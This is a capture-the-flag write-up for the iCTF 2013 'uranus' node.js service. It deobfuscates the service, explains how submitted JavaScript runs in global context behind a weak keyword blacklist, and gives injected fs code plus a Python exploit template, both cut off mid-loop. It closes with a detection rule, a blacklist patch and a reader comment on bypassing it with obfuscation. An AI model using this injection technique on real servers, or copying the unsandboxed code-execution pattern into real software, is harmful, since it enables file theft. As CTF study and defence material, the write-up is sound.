iCTF 2013: uranus 2


Due to the code listings and some blah, this write-up is quite lengthy. Prepare some coffee first. 😎

Deobfuscation

The uranus service from iCTF 2013 (code) is a node.js service written by @kapravel which has to be deobfuscated. Using jsbeautifier.org we get a better look on the code:

var r3A8 = (function () {
    var U8 = (function (Z8, S8) {
        var D8 = "",
            C8 = 'return ',
            e8 = ((0x1B2, 95.) < (45, 92.60E1) ? (7.07E2, false) : (110., 6.2E1) > 0x179 ? 1 : (129, 9.4E2));
        if (Z8.length > ((0x1EF, 21.) < (1.18E3, 14) ? (0x139, 1) : 32. > (23, 0xB9) ? (1.97E2, "R") : (6.350E2, 97.) <= 0x1F9 ? (39., 12) : (31.3E1, 0x1B5)))
            for (var r8 = ((117., 140.) <= (0x18A, 138.) ? (0xA9, "z") : (17., 1.71E2) <= (0x212, 58.) ? (147.8E1, 130) : 0x106 < (33., 0x226) ? (26., 13) : (0x1D2, 0xFB)); r8 > ((54.30E1, 0xF1) >= (1.5E1, 7.390E2) ? (0, 38.1E1) : (0x1F9, 0x133) > 79.10E1 ? (68, '\n') : (133.1E1, 81) < 0x173 ? (22., 1) : (1.241E3, 0x41));) D8 += (e8 = (e8 ? ((76, 0x167) < (6.2E2, 12.93E2) ? (18.0E1, false) : (0x127, 90.80E1) <= 1.16E2 ? (7.96E2, 0x69) : (10.93E2, 22.8E1)) : ((0x1F8, 0x1FE) > (30.1E1, 124.) ? (31., true) : (37.80E1, 110.7E1)))) ? Z8.charAt(r8) : "@%)eitg)(tDwn".charAt(r8--);
        return S8 === ((49.5E1, 0x8B) > (61, 0x20D) ? (56.6E1, "l") : (147, 106) <= (0x15, 131.) ? (56, null) : (109., 95.2E1)) ? [(145.5E1 > (4.11E2, 0x1C5) ? (0x244, null) : 14.67E2 <= (100, 119.) ? (75.4E1, false) : (0x16D, 106.) < 12. ? 0x222 : (8.64E2, 0xF5))].constructor.constructor(C8 + D8)() : S8 ^ Z8
    })("_9(mTe.)ea e(", ((0x127, 0x216) > (130.6E1, 0x25) ? (2.36E2, null) : (62., 142) < (0x251, 72) ? (128.0E1, 'R') : (0x19, 90.30E1) < 21. ? (127, 9.5E2) : (0x4D, 9.540E2)));
    return {
        J8: function (H8) {
            var g8, R8 = ((1.414E3, 117) >= 70. ? (12.0E1, 0) : (73.5E1, 147.70E1) <= 2.5E1 ? (1.3980E3, true) : (53, 98.2E1)),
                W8 = ((44.6E1, 130.20E1) > 0x133 ? (24.6E1, 0x142CF49F580) : (12.9E1, 10.) >= 133. ? (107., 0x193) : (0x240, 0x4E)) > U8,
                G8;
            for (; R8 < H8.length; R8++) {
                G8 = (parseInt(H8.charAt(R8), 16)).toString((14. > (0x9D, 0x21D) ? (0x155, 0xCD) : (42.40E1, 141.) <= 76. ? (3.25E2, 42) : 132. < (0x62, 11.99E2) ? (94.10E1, 2) : (0x8B, 34)));
                g8 = R8 == 0 ? G8.charAt(G8.length - 1) : g8 ^ G8.charAt(G8.length - 1)
            }
            return g8 ? W8 : !W8
        }
    };
})();
var z9o2 = r3A8.J8("63") ? {
    'p2': "length",
    'n2': "fs",
    'w4': "toString",
    'J4': "-",
    'v2': "listen",
    'R4': "log",
    'a4': 'uncaughtException',
    'd2': '0.0.0.0',
    'c4': 'Server running at http://0.0.0.0:1337/',
    'Q4': "http",
    'N4': 'text/plain',
    'W4': "createServer",
    'Q2': {},
    'M4': 1337,
    't2': "on",
    's4': "submissions",
    'x2': "/",
    'y2': 1,
    'X2': 200,
    'f2': "end",
    'l2': "",
    'A4': "writeHead"
} : 1337;

function handle(E, b) {
    var k = r3A8.J8("aa2e") ? 'You suck\n' : 'Welcome to Uranus!\nWith the last update of our nuclear reactor we can now control critical variables of the process through the easyness of JavaScript. Uranus is here to proof-check your code for safety before you submit it directly to the reactor. \n\nUse HTTP POST to submit your code.',
        V = r3A8.J8("f56") ? "test" : "POST",
        s = r3A8.J8("a6cf") ? "indexOf" : "l",
        c = r3A8.J8("5613") ? "method" : "writeFileSync";
    if (E[c][s](V) != -z9o2.y2) {
        handlePOST(E, b);
        return;
    } else {
        b[z9o2.A4](z9o2.X2, {
            'Content-Type': z9o2.N4
        });
        b[z9o2.f2](k);
    }
}

function makeSandbox() {
    delete eval;
    delete Function;
    delete require;
    delete fs;
}

function loadSubmission(b, k) {
    var V = r3A8.J8("81") ? "No password found" : "token",
        s = r3A8.J8("c14") ? "match" : "toString",
        c = r3A8.J8("5f") ? "eval" : "readFileSync",
        w = r3A8.J8("ffb7") ? 'Server running at http://0.0.0.0:1337/' : z9o2.s4,
        z = r3A8.J8("fb") ? 'Your code has runtime errors: ' : b + z9o2.J4 + k;
    try {
        var O = r3A8.J8("67cf") ? "Code contains unsafe functionality.\n" : ff[c](w + z9o2.x2 + z)[z9o2.w4]();
        return O[s](/password = "([0-9a-zA-Z]{16})"/)[z9o2.y2];
    } catch (E) {;
    }
    return V;
}

function test(b) {
    var k = r3A8.J8("1b") ? "k" : "runInThisContext",
        V = r3A8.J8("81e") ? "vm" : "handlePOST",
        s = r3A8.J8("74") ? function (E) {
            global = r3A8.J8("a11a") ? "g" : E;
        } : false,
        c = r3A8.J8("33c1") ? function (E) {
            password = r3A8.J8("77") ? "loadSubmission" : E;
        } : "submissions",
        w = r3A8.J8("d5") ? "retval" : require(V);
    c(z9o2.l2);
    s(z9o2.l2);
    w[k](b[z9o2.w4]());
    return password;
}

function storeSubmission(b, k, V) {
    var s = r3A8.J8("ac") ? "handle" : "writeFileSync",
        c = r3A8.J8("3a8") ? "mkdirSync" : "http",
        w = r3A8.J8("6ef") ? "statSync" : "err",
        z = z9o2.s4,
        O = b + z9o2.J4 + k;
    try {
        var Z = ff[w](z);
    } catch (E) {;
    }
    if (!Z) ff[c](z);
    ff[s](z + z9o2.x2 + O, V);
}

function checkCode(E) {
    var b = r3A8.J8("61") ? true : "res",
        k = r3A8.J8("2f7") ? "test" : false,
        V = "test",
        s = r3A8.J8("3ae") ? ((30, 0xC4) < (96.5E1, 9) ? 'R' : (105.2E1, 44.) >= (142, 1.183E3) ? (110, 133.70E1) : 120. > (53.6E1, 96) ? (0x24A, "q") : (8.4E1, 1.5E1)) : "writeFileSync",
        c = r3A8.J8("ba") ? ((9.99E2, 119.80E1) <= (24., 10.96E2) ? '\n' : 131 >= (0x105, 0x132) ? '\n' : (1.0010E3, 72) <= 23.90E1 ? (124., 0) : (100., 0x254)) : "data",
        w = [/eval/, /global/, /Function/, /this/];
    for (var z = c; A3a[s](z, w[z9o2.p2]); z++) {
        if (w[z][V](E)) {
            return k;
        }
    }
    return b;
}

function handlePOST(G, A) {
    var N = r3A8.J8("e1c") ? "data" : "hasOwnProperty";
    G[z9o2.t2](N, function (k) {
        var V = 'Your JSON is malformed. Please provide the following properties: flag_id, token, code\n',
            s = 'Code contains unsafe functionality.\n',
            c = r3A8.J8("46cf") ? 'Your code is missing an access code to the nuclear reactor. Expected variable according to the documentation is "password".\n' : "Received: %s",
            w = r3A8.J8("53") ? 'text/plain' : 'Code approved. Please check your parameters carefully before deploying the code to the nuclear reactor.\n',
            z = r3A8.J8("555") ? "U" : "i",
            O = r3A8.J8("8ccd") ? '\n' : true,
            Z = 'Your password: ',
            e = "code",
            T = "token",
            D = r3A8.J8("2235") ? "e" : "flag_id",
            J = r3A8.J8("8f") ? "hasOwnProperty" : "hasOwnProperty",
            R = r3A8.J8("2fb") ? "patterns" : "parse";
        try {
            data_json = JSON[R](k);
        } catch (E) {
            var b = function () {
                data_json = r3A8.J8("265") ? {} : ((0x17B, 149.) >= (30., 0x20F) ? (12.17E2, "vm") : (7.79E2, 128) <= 0x1A6 ? (21.90E1, 200) : (57., 53.) > 106.7E1 ? (7.26E2, 84.) : (11.61E2, 1.5E2));
            };
            b();
        }
        if (data_json[J](D) && data_json[J](T)) {
            if (!data_json[J](e)) {
                old_password = loadSubmission(data_json[D], data_json[T]);
                A[z9o2.A4](z9o2.X2, {
                    'Content-Type': z9o2.N4
                });
                A[z9o2.f2](Z + old_password + O);
            } else {
                var W = r3A8.J8("d6b7") ? function (E) {
                        code = E[e];
                    } : "No password found",
                    B = function (E) {
                        password = r3A8.J8("5c78") ? "retval" : E;
                    };
                B(z9o2.l2);
                W(data_json);
                if (checkCode(code)) {
                    try {
                        retval = r3A8.J8("c4") ? "Server running at http://0.0.0.0:1337/" : test(code[z9o2.w4]());
                    } catch (E) {
                        var b = r3A8.J8("b38a") ? "Your password: " : 'Your code has runtime errors: ';
                        A[z9o2.A4](z9o2.X2, {
                            'Content-Type': z9o2.N4
                        });
                        A[z9o2.f2](b + E + O);
                    }
                    try {
                        if (A3a[z](password[z9o2.p2], z9o2.y2)) {
                            storeSubmission(data_json[D], data_json[T], code);
                            A[z9o2.A4](z9o2.X2, {
                                'Content-Type': z9o2.N4
                            });
                            A[z9o2.f2](w);
                        }
                    } catch (E) {
                        console[z9o2.R4](E);
                    }
                    A[z9o2.A4](z9o2.X2, {
                        'Content-Type': z9o2.N4
                    });
                    A[z9o2.f2](c);
                }
            }
            A[z9o2.A4](z9o2.X2, {
                'Content-Type': z9o2.N4
            });
            A[z9o2.f2](s);
        } else {
            A[z9o2.A4](z9o2.X2, {
                'Content-Type': z9o2.N4
            });
            A[z9o2.f2](V);
        }
    });
}
var A3a = {
    'U': function (E, b) {
        return E >= b;
    },
    'q': function (E, b) {
        return E < b;
    },
    'M': {}
};
http = r3A8.J8("c534") ? "submissions" : require(z9o2.Q4);
ff = r3A8.J8("6422") ? 200 : require(z9o2.n2);
process[z9o2.t2](z9o2.a4, function (E) {
    var b = 'Caught exception: ';
    console[z9o2.R4](b + E);
});
http[z9o2.W4](handle)[z9o2.v2](z9o2.M4, z9o2.d2);
console[z9o2.R4](z9o2.c4

For more PITA, the authors used ternaries for almost all variable assignments, e.g. s = r3A8.J8("c14") ? "match" : "toString", and the following function to determine the correct value for each variable:

var r3A8 = (function () {
    var U8 = (function (Z8, S8) {
        var D8 = "",
            C8 = 'return ',
            e8 = ((0x1B2, 95.) < (45, 92.60E1) ? (7.07E2, false) : (110., 6.2E1) > 0x179 ? 1 : (129, 9.4E2));
        if (Z8.length > ((0x1EF, 21.) < (1.18E3, 14) ? (0x139, 1) : 32. > (23, 0xB9) ? (1.97E2, "R") : (6.350E2, 97.) <= 0x1F9 ? (39., 12) : (31.3E1, 0x1B5)))
            for (var r8 = ((117., 140.) <= (0x18A, 138.) ? (0xA9, "z") : (17., 1.71E2) <= (0x212, 58.) ? (147.8E1, 130) : 0x106 < (33., 0x226) ? (26., 13) : (0x1D2, 0xFB)); r8 > ((54.30E1, 0xF1) >= (1.5E1, 7.390E2) ? (0, 38.1E1) : (0x1F9, 0x133) > 79.10E1 ? (68, '\n') : (133.1E1, 81) < 0x173 ? (22., 1) : (1.241E3, 0x41));) D8 += (e8 = (e8 ? ((76, 0x167) < (6.2E2, 12.93E2) ? (18.0E1, false) : (0x127, 90.80E1) <= 1.16E2 ? (7.96E2, 0x69) : (10.93E2, 22.8E1)) : ((0x1F8, 0x1FE) > (30.1E1, 124.) ? (31., true) : (37.80E1, 110.7E1)))) ? Z8.charAt(r8) : "@%)eitg)(tDwn".charAt(r8--);
        return S8 === ((49.5E1, 0x8B) > (61, 0x20D) ? (56.6E1, "l") : (147, 106) <= (0x15, 131.) ? (56, null) : (109., 95.2E1)) ? [(145.5E1 > (4.11E2, 0x1C5) ? (0x244, null) : 14.67E2 <= (100, 119.) ? (75.4E1, false) : (0x16D, 106.) < 12. ? 0x222 : (8.64E2, 0xF5))].constructor.constructor(C8 + D8)() : S8 ^ Z8
    })("_9(mTe.)ea e(", ((0x127, 0x216) > (130.6E1, 0x25) ? (2.36E2, null) : (62., 142) < (0x251, 72) ? (128.0E1, 'R') : (0x19, 90.30E1) < 21. ? (127, 9.5E2) : (0x4D, 9.540E2)));
    return {
        J8: function (H8) {
            var g8, R8 = ((1.414E3, 117) >= 70. ? (12.0E1, 0) : (73.5E1, 147.70E1) <= 2.5E1 ? (1.3980E3, true) : (53, 98.2E1)),
                W8 = ((44.6E1, 130.20E1) > 0x133 ? (24.6E1, 0x142CF49F580) : (12.9E1, 10.) >= 133. ? (107., 0x193) : (0x240, 0x4E)) > U8,
                G8;
            for (; R8 < H8.length; R8++) {
                G8 = (parseInt(H8.charAt(R8), 16)).toString((14. > (0x9D, 0x21D) ? (0x155, 0xCD) : (42.40E1, 141.) <= 76. ? (3.25E2, 42) : 132. < (0x62, 11.99E2) ? (94.10E1, 2) : (0x8B, 34)));
                g8 = R8 == 0 ? G8.charAt(G8.length - 1) : g8 ^ G8.charAt(G8.length - 1)
            }
            return g8 ? W8 : !W8
        }
    };
})();

For each ternary the condition is determined by calling r3A8.J8() with a hex string as argument, so we start digging there.

We see that in line 13 of the above code the comparison with r3A8.U8() always yielded true for the duration of the iCTF 2013: r3A8.U8() returns the current time in milliseconds and the left part of the comparison just yields the fix value 1386457200000, a timestamp in milliseconds equal to 2013-12-08 00:00:00 UTC. Also, R8 = 0.

In the for loop the LSB of each char (interpreted as hex digit) of the supplied string is XORed with the others. The resulting bit is returned as Boolean.

A more readable version of r3A8.J8() is as follows:

// hash function which maps a hex string to Boolean
var determine = function (x) {
    var bit, charBitString;
    for (var i = 0; i < x.length; i++) {
        // interpret each character of x as hex and get bit representation
        charBitString = (parseInt(x.charAt(i), 16)).toString(2);
        // determine LSB of char, then XOR with previous XOR result (if existing)
        bit = i == 0 ? charBitString.charAt(charBitString.length - 1) : bit ^ charBitString.charAt(charBitString.length - 1)
    }
    // return final bit as Boolean
    return bit ? true : false
};

So basically this function determines the return value by just counting all odd hex digits to see if the total count is also odd.

Examples:

  • 9abc - false (2 odd digits: 9, b)
  • 9abcd - true (3 odd digits: 9, b, d)

We write a short script which determines the correct assignment for each variable and clean up the whole mess by removing any parts which are not necessary anymore. The result is the following quite readable version of the code which can be used in place of the original one:

// request handler, accepts POST and nothing else
function handle(req, res) {
    if (req.method.indexOf("POST") != -1) {
        handlePOST(req, res);
        return;
    } else {
        res.writeHead(200, {'Content-Type': 'text/plain'});
        res.end('Welcome to Uranus!\nWith the last update of our nuclear reactor we can now control critical variables of the process through the easyness of JavaScript. Uranus is here to proof-check your code for safety before you submit it directly to the reactor. \n\nUse HTTP POST to submit your code.');
    }
}

// TROLOLO
function makeSandbox() {
    delete eval;
    delete Function;
    delete require;
    delete fs;
}

// reads file with supplied name, searches for a password and returns it if found
function loadSubmission(flag_id, token) {
    try {
        var fileContent = ff.readFileSync("submissions/" + flag_id + "-" + token).toString();
        return fileContent.match(/password = "([0-9a-zA-Z]{16})"/)[1];
    } catch (E) {}
    return "No password found";
}

// executes supplied code in global context, ignores local context
function test(code) {
    var vm = require("vm");
    global = "";
    password = "";
    // password is global so it can be used in vm.runInThisContext()
    vm.runInThisContext(code.toString());
    return password;
}

// stores code in file submissions/flag_id-token
function storeSubmission(flag_id, token, code) {
    try {
        var dirExists = ff.statSync("submissions");
    } catch (E) {}
    if (!dirExists) ff.mkdirSync("submissions");
    ff.writeFileSync("submissions/" + flag_id + "-" + token, code);
}

// fails if unwanted code exists
function checkCode(E) {
    var forbidden = [/eval/, /global/, /Function/, /this/];
    for (var i = 0; i < forbidden.length; i++) {
        if (forbidden[i].test(E)) {
            return false;
        }
    }
    return true;
}

// POST request handler
function handlePOST(req, res) {
    req.on("data", function (input) {
        try {
            data_json = JSON.parse(input);
        } catch (E) {
            data_json = {};
        }
        // check if flag_id and token are set 
        if (data_json.hasOwnProperty("flag_id") && data_json.hasOwnProperty("token")) {
            // if no code is supplied return password from file with supplied name
            if (!data_json.hasOwnProperty("code")) {
                old_password = loadSubmission(data_json.flag_id, data_json.token);
                res.writeHead(200, {'Content-Type': 'text/plain'});
                res.end('Your password: ' + old_password + '\n');
            } else {
                password = "";
                code = data_json.code;
                // check for unwanted code
                if (checkCode(code)) {
                    try {
                        // execute code, the magic happens here
                        retval = test(code.toString());
                    } catch (E) {
                        res.writeHead(200, {'Content-Type': 'text/plain'});
                        res.end('Your code has runtime errors: ' + E + '\n');
                    }
                    try {
                        // check if global password was set during code execution
                        if (password.length >= 1) {
                            // store code into file with supplied name
                            storeSubmission(data_json.flag_id, data_json.token, code);
                            res.writeHead(200, {'Content-Type': 'text/plain'});
                            res.end('Code approved. Please check your parameters carefully before deploying the code to the nuclear reactor.\n');
                        }
                    } catch (E) {
                        console.log(E);
                    }
                    res.writeHead(200, {'Content-Type': 'text/plain'});
                    res.end('Your code is missing an access code to the nuclear reactor. Expected variable according to the documentation is "password".\n');
                }
            }
            res.writeHead(200, {'Content-Type': 'text/plain'});
            res.end('Code contains unsafe functionality.\n');
        } else {
            res.writeHead(200, {'Content-Type': 'text/plain'});
            res.end('Your JSON is malformed. Please provide the following properties: flag_id, token, code\n');
        }
    });
}

// initialization
http = require("http");
ff = require("fs");
process.on('uncaughtException', function (E) { console.log('Caught exception: ' + E); });
http.createServer(handle).listen(1337, '0.0.0.0');
console.log('Server running at http://0.0.0.0:1337/')

Service

The service only accepts POST requests which contain specific JSON data, other requests are dropped with an info message. The JSON data of each POST request is intercepted for flag_id, token and code properties. At least the properties flag_id and token are required.

If only the code property is missing, the service tries to read a file with the name flag_id + "-" + token from the submissions directory. If such a file exists the service returns the first password that matches /password = "([0-9a-zA-Z]{16}"/ within that file. Since (surprise!) password = flag, this is how flags can be retrieved from the service.

If all three properties exist, the supplied code is checked for unwanted statements and then, if found to be valid, executed in global context. This means that we can modify global variables (like password) with our code. After that, the length of the global password is checked and, if not zero, the supplied code is stored into a file with a file name derived from flag_id and token, as mentioned in the previous paragraph. Since the supplied code must modify password in order to pass the subsequent length check and get stored, this is how new flags are pushed to the service.

Exploit

To get any flags from this service we need to know the exact name of the file which contains a flag - unfortunately, only the first part of such a file name is provided: the flag_id available in the exploit template. However, we can use the code property to run some node.js code on the server which deals with this problem:

First we create a POST request with an arbitrary flag_id and token and include code that uses the node.js fs module to search the submission directory for the file with the name that contains the actual flag_id provided by the exploit template. Then we read the found file (there should only be one), retrieve the line where the password assignment happens and write the whole thing into a new file with a unique name, e.g. all-your-wizardry-are-belong-to-us. Since we do not explicitly set the global password our code itself doesn't get stored at all.

Code:

var files = ff.readdirSync("submissions");
for (var i = 0; i

Using a second POST request we retrieve the password which we just stored: We omit the code property and provide the unique file name from our first request via flag_id and token. Therefore, the service gladly reads the file and provides us with the password. Flag captured.

Example exploit using the template:

class Exploit():

    flag = ''

    def execute(self, ip, port, flag_id):

        import urllib2
        import json
        import re

        dummy1 = "doesnt-matter"
        dummy2 = "not-gonna-be-written"
        flagfile1 = "all-your-wizardry"
        flagfile2 = "are-belong-to-us"

        # prepare node.js code to read password from file where file name contains flag_id, then store password into a new file
        data = json.dumps({
            "flag_id": dummy1,
            "token": dummy2,
            "code": 'var files = ff.readdirSync("submissions"); for (var i = 0; i

Detection

To detect attacks we simply look for any occurrences of readdir in the uranus traffic.

Patch

A patch can be applied by preventing any calls to fs.readdir() or fs.readdirSync(). This can be done by simply adding readdir to the array with unwanted code in checkCode():

// fails if unwanted code exists
function checkCode(E) {
    var forbidden = [/eval/, /global/, /Function/, /this/, /readdir/];
    for (var i = 0; i < forbidden.length; i++) {
        if (forbidden[i].test(E)) {
            return false;
        }
    }
    return true;
}

However, as mentioned in this comment, the above approach is still vulnerable to obfuscation techniques.


Leave a comment

Your email address will not be published. Required fields are marked *

*

2 thoughts on “iCTF 2013: uranus

  • Sebastian Neef

    Hi,

    first of all: cool write-up!

    I think that your patch would still be vulnerable to attacks. You simple could use JSFuck (jsfuck,com) to obfuscate the payload and bypass your filter. Blacklistfilters are bad πŸ™

    We patched the service using the following patch:
    1. Create a new sandbox: e.g.
    sanbox = {
    password: ”,
    ff: ”,
    //some more global vars
    }
    2. Use vm.runInNewContext(code,sandbox)
    3. return the new password variable

    The javascript only has access to the variables listed in the sandbox-variable.

    That fix worked good for us πŸ™‚ (or better: It seemed to work)

    Best regards,
    Sebastian N. (@internetwache)